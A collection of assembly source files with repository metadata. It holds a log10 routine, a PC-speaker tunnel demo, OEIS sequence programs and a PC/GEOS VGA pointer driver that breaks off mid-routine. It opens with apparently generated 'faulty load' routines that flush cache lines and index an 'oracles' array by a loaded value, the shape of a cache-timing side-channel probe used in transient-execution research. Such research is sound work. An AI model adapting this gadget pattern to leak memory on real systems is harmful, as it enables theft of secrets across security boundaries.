"max_forks_count": 3, "avg_line_length": 41.9924242424, "max_line_length": 2999, "alphanum_fraction": 0.6601118528} | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xb09e, %rsi
lea addresses_UC_ht+0x1ed2a, %rdi
nop
nop
and $21135, %r14
mov $12, %rcx
rep movsw
nop
sub %r12, %r12
lea addresses_A_ht+0x1c752, %r11
clflush (%r11)
nop
nop
nop
nop
add $24696, %r8
mov $0x6162636465666768, %r14
movq %r14, %xmm4
movups %xmm4, (%r11)
nop
nop
nop
nop
sub %r11, %r11
lea addresses_WT_ht+0x49bb, %rsi
lea addresses_UC_ht+0x1412a, %rdi
nop
nop
nop
nop
cmp %r14, %r14
mov $76, %rcx
rep movsl
cmp $49257, %r14
lea addresses_WT_ht+0x10faa, %rsi
nop
nop
and %rdi, %rdi
and $0xffffffffffffffc0, %rsi
vmovntdqa (%rsi), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r12
nop
nop
nop
nop
and $26266, %rcx
lea addresses_D_ht+0xd282, %rsi
nop
nop
nop
nop
sub %r12, %r12
mov (%rsi), %rcx
nop
cmp %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r9
push %rbp
push %rdi
push %rdx
push %rsi
// Store
mov $0xc30830000000672, %rdi
clflush (%rdi)
sub $3824, %rbp
mov $0x5152535455565758, %rdx
movq %rdx, %xmm1
movups %xmm1, (%rdi)
nop
nop
sub $59296, %rdi
// Faulty Load
lea addresses_D+0x1ddaa, %r11
nop
nop
nop
xor %r12, %r12
mov (%r11), %r9
lea oracles, %r11
and $0xff, %r9
shlq $12, %r9
mov (%r11,%r9,1), %r9
pop %rsi
pop %rdx
pop %rdi
pop %rbp
pop %r9
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_NC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': True, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': True, 'size': 32, 'NT': True, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
||||
TheStack | b10832a4005a2176e122cda4bf1423e7f0069cdf | Assemblycode:Assembly | {"size": 761, "ext": "asm", "max_stars_repo_path": "src/lib/math/log10.asm", "max_stars_repo_name": "germix/sanos", "max_stars_repo_stars_event_min_datetime": "2015-10-31T23:26:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-19T21:32:44.000Z", "max_issues_repo_path": "src/lib/math/log10.asm", "max_issues_repo_name": "germix/sanos", "max_issues_repo_issues_event_min_datetime": "2017-05-28T14:08:43.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-01T10:43:00.000Z", "max_forks_repo_path": "src/lib/math/log10.asm", "max_forks_repo_name": "germix/sanos", "max_forks_repo_forks_event_min_datetime": "2015-10-24T16:25:21.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-02T21:35:48.000Z"} | {"max_stars_count": 57, "max_issues_count": 3, "max_forks_count": 31, "avg_line_length": 36.2380952381, "max_line_length": 78, "alphanum_fraction": 0.3193166886} | ;-----------------------------------------------------------------------------
; log10.asm - floating point logarithm base 10
; Ported from Al Maromaty's free C Runtime Library
;-----------------------------------------------------------------------------
SECTION .text
global log10
global _log10
log10:
_log10:
push ebp
mov ebp,esp
fld qword [ebp+8] ; Load real from stack
fldlg2 ; Load log base 10 of 2
fxch st1 ; Exchange st0, st1
fyl2x ; Compute the log base 10(x)
pop ebp
ret
|
||||
TheStack | 67d552fb77e57de7a80216d958ef66eafb83c4ab | Assemblycode:Assembly | {"size": 9582, "ext": "asm", "max_stars_repo_path": "spkrtubi.asm", "max_stars_repo_name": "vsariola/tubiform", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "spkrtubi.asm", "max_issues_repo_name": "vsariola/tubiform", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "spkrtubi.asm", "max_forks_repo_name": "vsariola/tubiform", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 58.4268292683, "max_line_length": 167, "alphanum_fraction": 0.5222291797} | org 100h
; at startup, we assume ax = 0x0000, cx = 0x00FF, si = 0x0100, sp = 0xFFFE and most flags zero
mov ax, 3508h ; int 21h: ah=35h get interrupt handler, al=1Ch which interrupt
int 21h ; returns the handler in es:bx
push es ; save the current handler to be able to restore it
push bx
mov ax, 64 ; PIT counter divisor, al = 64. IRQ init based on superogue's and TomCat's code.
scaleconst equ $-1
mov dx, irq ; dx = New handler address
mov bl, 0x13 ; bl = New video mode, mode 13h
envs: ; envs contains the envelopes of the channels. We put them here to have them initialized
call setirq ; into known values (in particular, to have chn 3 initialize as 0).
xchg ax, cx
out 61h, al ; enable PC speaker
push 0xa000 - 10-20*3 ; set es to video segment, shifting 3.5 lines (the top three lines had some visual glitch).
pop es
main: ; basic tunnel effect, based on HellMood's original from http://www.sizecoding.org/wiki/Floating-point_Opcodes#The_.22Tunnel.22
sub dh, 0x68 ; dh = y, shift it to center the coordinates
pusha ; push all registers to stack 0xFFF8: ax, 0xFFF6: cx, 0xFFF4: dx, etc. bx, sp, bp, si, di
mov bx,-12 ; 0xFFF4, where the dx is
fild word [bx-1] ; fpu: x*256
fild word [bx] ; fpu: y*256(+x) x*256
fpatan ; fpu: theta
fst st1 ; fpu: theta theta
fprem ; this instruction will be mutated with fsin so for proper tunnel, fpu: sin(theta) theta
.effect equ $-1 ; 0xF3, 0xF4, 0xFE and 0xFC are pretty cool visuals for the last byte
fimul dword [byte si+scaleconst] ; fpu: const*cos(theta) theta, the constant is what ever the lines there assemble to
fidiv word [bx-1] ; fpu: const*sin(theta)/x/256=1/r theta
fisub word [time] ; fpu: 1/r+offset theta
fistp dword [bx] ; store r+offset to where dx is, cx&dx affected after popa, fpu: theta
fnop ; this fnop will mutated to something more interesting eventually
.effect2 equ $-1
fimul word [time+3] ; fpu: t*theta (+3 is initially wrong, but will be replaced with time+0 i.e. correct)
.thetascale equ $-2
fistp dword [bx+2] ; store r+offset to where cx is, cx&ax affected after popa. We avoid messing the original IRQ address
popa ; pop all registers from stack
mov al, byte [byte si+envs+2] ; we rotate the tunnel based on the last channel envelope
add ch, al
xor dh, ch ; dh = r, ch = theta
shl dh, 1
and dh, 64 ; we select parts of the XOR-texture
add al, byte [byte si+envs+1] ; we add together the last two envelopes
mul dh ; flash the tunnel color based on the sum of the last two envelopes
mov al, ah
add al, 16 ; shift to gray palette, will be replaced with 64 in the last part for a more colorful effect
.palette equ $-1
stosb ; di = current pixel, write al to screen
imul di, 85 ; traverse the pixels in slightly random order (tip from Hellmood)
mov ax, 0xCCCD ; Rrrola trick!
mul di ; dh = y, dl = x
xchg bx, ax ; HellMood: put the low word of multiplication to bx, so we have more precision
jc main ; when loading it in FPU
xchg ax, dx ; dx guaranteed zero
in al, 0x60 ; check for ESC key
dec ax
jnz main ; when song ends, this mutates to jnz -3 so it loops back to dec ax until ax = 0
.looptarget equ $-1
pop dx
pop ds
mov bl, 3 ; text mode
out 61h, al
setirq:
out 40h, al ; write PIT counter divisor low byte
salc ; set AL = 0 (because carry is zero)
out 40h, al ; write PIT counter divisor high byte (freq = 1,19318181818 MHz / divisor)
xchg al, bl ; set video mode
int 10h
mov ax, 2508h
int 21h ; ah = 25h => set interrupt handler, al = which interrupt
mov al, 90h ; set PIT channel 2 mode (PC speaker) to single cycle per write
out 43h, al
ret
time:
db 0,0 ; time initialized to zero
patterns:
db 108, 96, 0, 81, 96, 108, 0, 54 ; patterns play from last to first
db 54, 0, 108, 54, 54, 0, 54 ; one 54 from previous pattern
; orderlist has: chn 1, chn 2, chn 3
orderlist:
db 0x00, 0x6A, 0x00 ; the first nibble is chord, second nibble is offset to pattern table
db 0x64, 0x63, 0x00 ; note that you should add channel number to the pattern offset to get
db 0x84, 0x83, 0x00 ; the actual offset
db 0x64, 0x63, 0x00
db 0x94, 0x00, 0x92
db 0x84, 0x83, 0x82
db 0x64, 0x63, 0x62
db 0x6B, 0x00, 0x69
irq:
pusha
mov al, 4
.sample equ $-1
mov cl, 176 ; scale max sample value (63+63+63) = 189 to 63, so samples are in 0..63 range
mul cl
shr ax, 9
jz .skipout ; write sample to speaker first, to have consistent sample timing
out 42h, al ; this is actually the pulse length in counts, so we effectively control PWM duty cycle
.skipout: ; for sample levels, assuming the loud speaker low pass filters it
push ds ; practically only cs is guaranteed to be correct in interrupt
push cs ; so we save current ds and put ds = cs
pop ds
dec byte [counter] ; quick hack for the PC speaker version: we need to run the interrupt at ~4x frequency for
jnz .skipirq ; reasonable fake digital-to-analog conversion using PWM. So we calculate new sample values
mov byte [counter], 4 ; only every 4 interrupt calls.
xor bp, bp ; bp is the total sample value
mov cx, 3 ; cx is the channel loop counter, we have three channels
mov si, time
mov bx, si
.loop:
mov al, byte [byte orderlist-patterns+bx+4]
.pattern equ $ - 1
aam 16
mov dx, [si] ; si points to time
shr dx, cl ; the bits shifted out of si are the position within note
and dh, 7 ; patterns are 8 notes long, dh is now the row within pattern
add al, dh ; al is pattern + row
shr dl, 2 ; dl is now the envelope, 0..63
xlat
mul ah
shl ax, cl ; the channels are one octave apart
imul ax, word [si] ; t*freq, we cannot do mul word [si] because that would trash dl
sahf ; square wave, test the highest bit of ax for phase
jns .skipchannel ; you can test different flags here to shift song up/down octaves
mov byte [envs+bx-patterns+4], dl ; save the envelope for visuals
add bp, dx ; add channel to sample total
.skipchannel:
dec bx
loop .loop
xchg ax, bp
mov byte [irq.sample], al
dec word [si] ; the time runs backwards to have decaying envelopes
js .skipnextpattern ; after 32768 samples, advance orderlist
mov word [si], cx ; cx guaranteed to be zero
mov ax, word [script]
.scriptpos equ $-2
mov bl, ah ; bh guaranteed to be 0x01 so we're good
mov byte [bx], al ; change part of the code based on demo part
add byte [.pattern+si-time],3 ; modify the mov al, byte ... instruction
add word [.scriptpos+si-time],2 ; advance the script position by 2
.skipnextpattern:
.skipirq:
pop ds
mov al, 20h
out 20h, al ; end of interrupt signal
popa
iret
script:
db time, main.thetascale ; the tunnel theta multiplier points now to time, so the tunnel changes with time
db 0xF3, main.effect ; D9 F3 = fpatan
db 0xF4, main.effect ; D9 F4 = fxtract
db 0xFE, main.effect ; D9 FE = fsin, hey we have a normal tunnel finally
db 0xFF, main.effect2 ; D9 FF = fcos
db 64, main.palette
db 0xE8, main.effect ; D9 FF = fcos
db 0xFD, main.looptarget ; last mutation: change the jnz main after dec ax to jump back to dec ax, so it loops until ax guaranteed 0
counter:
db 4
|
||||
TheStack | abc1868258f2e767a52d2b1a95aa1f3f1a3d5644 | Assemblycode:Assembly | {"size": 476, "ext": "asm", "max_stars_repo_path": "programs/oeis/014/A014245.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/014/A014245.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/014/A014245.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 59.5, "max_line_length": 287, "alphanum_fraction": 0.6449579832} | ; A014245: a(n) = (n-th term of Beatty sequence for (3+sqrt(3))/2) - (n-th term of Beatty sequence for sqrt(3)).
; 1,1,2,3,3,4,4,5,6,6,7,8,8,9,10,10,11,11,12,13,13,14,15,15,16,16,17,18,18,19,20,20,21,22,22,23,23,24,25,25,26,27,27,28,29,29,30,30,31,32,32,33,34,34,35,36,36,37,37,38,39,39,40,41,41,42,42,43,44,44,45,46,46,47,48,48,49,49,50,51,51,52,53,53,54,55,55,56,56,57,58,58,59,60,60,61,61,62,63,63
seq $0,182777 ; Beatty sequence for 3-sqrt(3).
sub $0,1
div $0,2
add $0,1
|
||||
TheStack | c69b664a5e7ff210024cf635745da06c74a8e806 | Assemblycode:Assembly | {"size": 1371, "ext": "asm", "max_stars_repo_path": "programs/oeis/147/A147685.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "programs/oeis/147/A147685.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/147/A147685.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 137.1, "max_line_length": 1253, "alphanum_fraction": 0.7884755653} | ; A147685: Squares and centered square numbers interleaved.
; 0,1,1,5,4,13,9,25,16,41,25,61,36,85,49,113,64,145,81,181,100,221,121,265,144,313,169,365,196,421,225,481,256,545,289,613,324,685,361,761,400,841,441,925,484,1013,529,1105,576,1201,625,1301,676,1405,729,1513,784,1625,841,1741,900,1861,961,1985,1024,2113,1089,2245,1156,2381,1225,2521,1296,2665,1369,2813,1444,2965,1521,3121,1600,3281,1681,3445,1764,3613,1849,3785,1936,3961,2025,4141,2116,4325,2209,4513,2304,4705,2401,4901,2500,5101,2601,5305,2704,5513,2809,5725,2916,5941,3025,6161,3136,6385,3249,6613,3364,6845,3481,7081,3600,7321,3721,7565,3844,7813,3969,8065,4096,8321,4225,8581,4356,8845,4489,9113,4624,9385,4761,9661,4900,9941,5041,10225,5184,10513,5329,10805,5476,11101,5625,11401,5776,11705,5929,12013,6084,12325,6241,12641,6400,12961,6561,13285,6724,13613,6889,13945,7056,14281,7225,14621,7396,14965,7569,15313,7744,15665,7921,16021,8100,16381,8281,16745,8464,17113,8649,17485,8836,17861,9025,18241,9216,18625,9409,19013,9604,19405,9801,19801,10000,20201,10201,20605,10404,21013,10609,21425,10816,21841,11025,22261,11236,22685,11449,23113,11664,23545,11881,23981,12100,24421,12321,24865,12544,25313,12769,25765,12996,26221,13225,26681,13456,27145,13689,27613,13924,28085,14161,28561,14400,29041,14641,29525,14884,30013,15129,30505,15376,31001
pow $0,2
add $0,1
mov $1,$0
gcd $1,2
mul $1,$0
div $1,4
|
||||
TheStack | e9c01f47e22c343bd268537e309b4d50763d6337 | Assemblycode:Assembly | {"size": 21139, "ext": "asm", "max_stars_repo_path": "Driver/Video/VGAlike/VGA16/vga16Pointer.asm", "max_stars_repo_name": "steakknife/pcgeos", "max_stars_repo_stars_event_min_datetime": "2018-11-18T03:35:53.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T01:02:51.000Z", "max_issues_repo_path": "Driver/Video/VGAlike/VGA16/vga16Pointer.asm", "max_issues_repo_name": "steakknife/pcgeos", "max_issues_repo_issues_event_min_datetime": "2018-11-19T21:06:50.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-06T10:26:48.000Z", "max_forks_repo_path": "Driver/Video/VGAlike/VGA16/vga16Pointer.asm", "max_forks_repo_name": "steakknife/pcgeos", "max_forks_repo_forks_event_min_datetime": "2018-11-19T20:46:53.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T00:59:26.000Z"} | {"max_stars_count": 504, "max_issues_count": 96, "max_forks_count": 73, "avg_line_length": 23.2041712404, "max_line_length": 79, "alphanum_fraction": 0.5980888405} | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GlobalPC 1998 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Video Drivers
FILE: vga16Pointer.asm
AUTHOR: Jim DeFrisco, Oct 8, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 10/ 8/92 Initial revision
DESCRIPTION:
These are a set of routines to support the use of a cursor for
the pointing device.
The cursor is limited to a 16x16 pixel bitmap (by the sizing
of the holding buffers).
The definition of a pointer allows for the specification of a "hot
spot". This indicates where on the cursor shape the "current
position" should be reported as.
The way the mask and image are combined with the background are as
follows:
mask image -> screen
pixel pixel pixel
----- ----- ------
0 0 unchanged
0 1 xor
1 0 black
1 1 white
For the 8-bit video drivers, we need to store the image in a
buffer local to the video driver. Since there is no shifting
required, we only need to establish the size of the transfer and
the starting positions.
(screen AND (not MASK)) XOR IMAGE
We'll also use a local buffer to store the image the cursor sits
on top of.
$Id: vga16Pointer.asm,v 1.2$
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidHidePtr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Erase the graphics pointer
CALLED BY: EXTERNAL
PASS: nothing
RETURN: nothing
DESTROYED: if (EraseCursor called)
ax,bx,cx,dx,si,di,bp,es are destroyed
else
nothing destroyed
PSEUDO CODE/STRATEGY:
increment the visible count
If the visible count is 1
erase the cursor
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidHidePtr proc near
inc cs:[cursorCount] ; increment the nesting count
cmp cs:[cursorCount],1 ; if the cursor wasn't showing
jnz VHP_done ; then all done
push es
push ds
mov cx, cs
mov ds, cx
call EraseCursor ; else erase it
pop ds
pop es
VHP_done:
ret
VidHidePtr endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidShowPtr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw the graphics pointer
CALLED BY: EXTERNAL
PASS: nothing
RETURN: nothing
DESTROYED: if pointer is redrawn
ax,bx,cx,dx,si,di,bp
else
cx, di destroyed
PSEUDO CODE/STRATEGY:
If the visible count is 0
draw the cursor
else
just decrement the count
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidShowPtr proc near
dec cs:[cursorCount] ; set new value for nest count
EC < ERROR_S VIDEO_HIDE_CURSOR_COUNT_UNDERFLOW >
jnz VShP_done
push es
push ds
mov cx, cs
mov ds, cx
call DrawCursor ; yes, draw it
pop ds
pop es
VShP_done:
ret
VidShowPtr endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidMovePtr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Update the position of the pointer
CALLED BY: INTERNAL
PASS: ax - new x position
bx - new y position
RETURN: al - mask of save-under areas that pointer hot-spot
overlaps with
DESTROYED: ah,bx,cx,dx,si,di,bp
PSEUDO CODE/STRATEGY:
if (cursor is showing)
erase it;
translate position to account for hot point;
update the position variables;
if (cursor was showing)
draw it;
test for save-under overlaps;
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 10/92... Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidMovePtr proc near
mov cx,cs
mov ds,cx
; erase cursor if visible
cmp cs:[cursorCount],0
jnz AfterCursorRedrawn
push ax
push bx
call EraseCursor
; if moving XOR region with pointer then do special stuff
cmp cs:[xorFlags], 0
jz noXOR
pop bx
pop ax
push ax
push bx
sub ax, cs:[cursorX]
sub bx, cs:[cursorY]
call UpdateXORForPtr
noXOR:
; store new position
pop ds:[cursorY]
pop ds:[cursorX]
call DrawCursor
jmp common
AfterCursorRedrawn:
; store new position
mov ds:[cursorX],ax
mov ds:[cursorY],bx
common:
; cmp cs:[suCount], 0 ; any active save under areas?
; jne CheckSUAreas
clr al
ret
if (0)
CheckSUAreas:
mov ax, ds:[cursorX] ; Fetch location to check at
mov bx, ds:[cursorY]
mov cx, ax ; Pass rectangle = point
mov dx, bx
GOTO VidCheckUnder
endif
VidMovePtr endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidSetPtr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the picture data for the pointer cursor
CALLED BY: EXTERNAL
PASS: ds:si contains a far pointer to the following structure:
PointerDef defined in cursor.def
if si == -1, then the default pointer shape is used
RETURN: nothing
DESTROYED: (if pointer erased and redrawn)
ax,bx,cx,dx,si,di,bp,ds
else
ax,bx,cx,si,di,bp,ds
PSEUDO CODE/STRATEGY:
pre-shift and store the correct mask and image data into
some extra screen memory
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Currently cursor size is fixed at 16x16 pixels. The
pointer definition structure contains width and height
fields anyway.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 10/92... Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidSetPtr proc near
push es
cmp cs:[cursorCount], 0 ; see if it's currently on-screen
jnz VSPnoshow ; no, safe to proceed
push ds ; save passed params
push si
segmov ds, cs ; erase cursor wants ds -> cs
call EraseCursor ; yes, restore screen before changing
pop si
pop ds
VSPnoshow:
cmp si, -1 ;custom pointer ?
jne VSP_custom
segmov ds,cs
mov si, offset pBasic
VSP_custom:
; ds:si = structure
; translate old current position to new one, based on new hotpoint
EC < mov bl, ds:[si].PD_width >
EC < and bl, mask PDW_WIDTH ; Get width portion of byte >
EC < cmp bl, 16 ; only support these for now >
EC < ERROR_NE VIDEO_ONLY_SUPPORTS_16x16_CURSORS >
mov bx, {word}ds:[si][PD_hotX] ;bl = hotX, bh = hotY
if ALLOW_BIG_MOUSE_POINTER
cmp cs:[cursorSize], CUR_SIZE ;adjust hotX, hotY if double
je bp0 ; sized mouse pointer
add bx, bx ;bl = hotX, bh = hotY
bp0:
endif ; ALLOW_BIG_MOUSE_POINTER
mov cs:[cursorHotX], bl ; store new x hot point
mov cs:[cursorHotY], bh ; store new y hot point
; get pointer to cursor data. We're going to copy the data to the area
; just past the bottom of the screen. First the mask, with 8 copies
; (each 3 bytes) each shifted one more pixel to the right. This is
; followed by the same treatment for the data.
add si, size PointerDef ; ds:si -> mask data
; set the destination to be the buffer we have to store the mask
segmov es, cs
mov di, offset ptrMaskBuffer
mov cx, (size ptrMaskBuffer)/2 ; clearing mask
mov ax, 0xffff
rep stosw
mov cx, (size ptrMaskBuffer)/2 ; clearing picture
mov ax, 0xffff
rep stosw
if ALLOW_BIG_MOUSE_POINTER
cmp cs:[cursorSize], CUR_SIZE
jne setBigPointer
endif ; ALLOW_BIG_MOUSE_POINTER
; first do the mask.
mov di, offset ptrMaskBuffer
mov dx, CUR_SIZE ; 16 scan lines
maskLoop:
lodsw ; get next word (scan) of mask data
xchg al,ah
mov bx, ax
clr ax
mov cx, CUR_SIZE ; 16 pixels/scan
mPixLoop:
shl bx, 1 ; top bit into carry
jnc mSkipOne
mov es:[di], ax
mSkipOne:
inc di
inc di
loop mPixLoop ; do entire scan line
dec dx
jnz maskLoop ; do all of mask
; now do the picture data.
mov di, offset ptrMaskBuffer + size ptrMaskBuffer
